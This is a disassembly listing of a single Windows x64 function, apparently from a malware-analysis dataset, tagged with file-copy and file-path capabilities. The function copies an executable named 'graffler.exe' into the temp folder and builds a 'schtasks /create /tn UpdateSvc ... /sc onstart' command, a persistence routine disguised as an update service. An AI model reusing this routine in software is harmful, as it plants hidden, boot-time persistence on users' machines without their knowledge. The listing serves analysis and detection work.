Function at 0x14000659c
Capabilities:
Copy file
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 8], rcx
push rbp
push rdi
push r15
lea rbp, [rax - 0x108]
sub rsp, 0x1f0
movaps xmmword [rax - 0x28], xmm6
xor esi, esi
lea rdx, [rbp - 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140023120]
movdqu xmmword [rsp + 0x40], xmm1
movsd xmm0, qword [str.graffler.exe]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140022c78]
mov dword [rsp + 0x38], eax
mov byte [rsp + 0x3c], sil
mov al, byte [0x140029c20]
mov byte [rbp + 0x110], al
mov rcx, qword [0x140029c68]
test rcx, rcx
je 0x1400038e7
mov rax, qword [rcx]
lea r9, [rbp + 0x110]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140029b18]
test rcx, rcx
je 0x1400038ed
mov rax, qword [rcx]
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x50]
call qword [rax + 0x10]
lea r10, [rbp - 0x50]
mov r8, qword [rbp - 0x50]
mov r9, qword [rbp - 0x38]
cmp r9, 0xf
cmova r10, r8
lea rcx, [rbp - 0x30]
dec rcx
inc rcx
cmp byte [rcx], sil
jne 0x14000331f
xor edx, edx
mov al, byte [r10 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x140003329
mov r15d, 0x1000
cmp r9, 0xf
jbe 0x140003370
lea rdx, [r9 + 1]
mov rax, r8
cmp rdx, r15
jb 0x140003368
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038f3
mov rcx, r8
call fcn.1400072a8
movdqa xmm6, xmmword [0x1400230e0]
movdqu xmmword [rbp - 0x40], xmm6
mov byte [rbp - 0x50], sil
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400033ba
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x1400033b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038f9
call fcn.1400072a8
movdqu xmmword [rsp + 0x60], xmm6
mov byte [rsp + 0x50], sil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400033fe
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x1400033f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038ff
call fcn.1400072a8
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140023120]
movdqu xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [str.graffler.exe]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x140022c78]
mov dword [rsp + 0x58], eax
mov byte [rsp + 0x5c], sil
mov al, byte [0x140029c20]
mov byte [rbp + 0x110], al
mov rcx, qword [0x140029c68]
test rcx, rcx
je 0x140003905
mov rax, qword [rcx]
lea r9, [rbp + 0x110]
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140029b18]
test rcx, rcx
je 0x14000390b
mov rax, qword [rcx]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x30]
call qword [rax + 0x10]
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
xor r8d, r8d
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400034da
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x1400034d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003911
call fcn.1400072a8
movdqu xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x30], sil
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14000351c
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140003517
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003917
call fcn.1400072a8
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], sil
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000355e
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x140003559
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000391d
call fcn.1400072a8
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 0x26
lea rdx, str.schtasks__create__tn__UpdateSvc___tr__
lea rcx, [rsp + 0x30]
call fcn.140006044
nop
mov al, byte [0x140029c20]
mov byte [rbp + 0x110], al
mov rcx, qword [0x140029c68]
test rcx, rcx
je 0x140003923
mov rax, qword [rcx]
lea r9, [rbp + 0x110]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x70]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140029d68]
test rcx, rcx
je 0x140003929
mov rax, qword [rcx]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x70]
call qword [rax + 0x10]
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140003611
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x14000360c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000392f
call fcn.1400072a8
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], sil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140003653
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x14000364e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003935
call fcn.1400072a8
movdqu xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x30], sil
lea rax, [rbp - 0x30]
or rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], sil
jne 0x140003666
mov rcx, qword [rbp - 0x80]
mov rax, qword [rbp - 0x78]
sub rax, rcx
cmp rdi, rax
ja 0x1400036af
lea rax, [rcx + rdi]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rbx, qword [rsp + 0x70]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp - 0x30]
mov rcx, rbx
call fcn.140018910
mov byte [rbx + rdi], sil
jmp 0x1400036c5
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x30]
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.140006154
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140023130]
movdqu xmmword [rsp + 0x40], xmm1
movsd xmm0, qword [str.___sc_onstart]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140022cb0]
mov dword [rsp + 0x38], eax
mov al, byte [0x140022cb4]
mov byte [rsp + 0x3c], al
mov byte [rsp + 0x3d], sil
mov al, byte [0x140029c20]
mov byte [rbp + 0x110], al
mov rcx, qword [0x140029c68]
test rcx, rcx
je 0x14000393b
mov rax, qword [rcx]
lea r9, [rbp + 0x110]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x70]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140029d68]
test rcx, rcx
je 0x140003941
mov rax, qword [rcx]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x50]
call qword [rax + 0x10]
nop
lea r9, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova r9, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rbp - 0x80]
mov rax, qword [rbp - 0x78]
sub rax, rcx
cmp rdi, rax
ja 0x1400037aa
lea rax, [rcx + rdi]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rbx, qword [rsp + 0x70]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.140018910
mov byte [rbx + rdi], sil
jmp 0x1400037bd
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.140006154
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400037f6
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x1400037f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003947
call fcn.1400072a8
movdqu xmmword [rsp + 0x60], xmm6
mov byte [rsp + 0x50], sil
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140003838
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140003833
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000394d
call fcn.1400072a8
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], sil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000387a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x140003875
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003953
call fcn.1400072a8
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.14000cc4c
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400038c4
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x1400038bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038e1
call fcn.1400072a8
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
call fcn.14000d1a0
nop
call fcn.140006e58
nop
call fcn.140006e58
int3
call fcn.14000d1a0
nop
call fcn.14000d1a0
nop
call fcn.14000d1a0
nop
call fcn.140006e58
nop
call fcn.140006e58
int3
call fcn.14000d1a0
nop
call fcn.14000d1a0
nop
call fcn.14000d1a0
nop
call fcn.140006e58
nop
call fcn.140006e58
nop
call fcn.14000d1a0
nop
call fcn.14000d1a0
nop
call fcn.140006e58
nop
call fcn.140006e58
int3
call fcn.14000d1a0
nop
call fcn.14000d1a0
nop
call fcn.14000d1a0
int3
jmp 0x140003248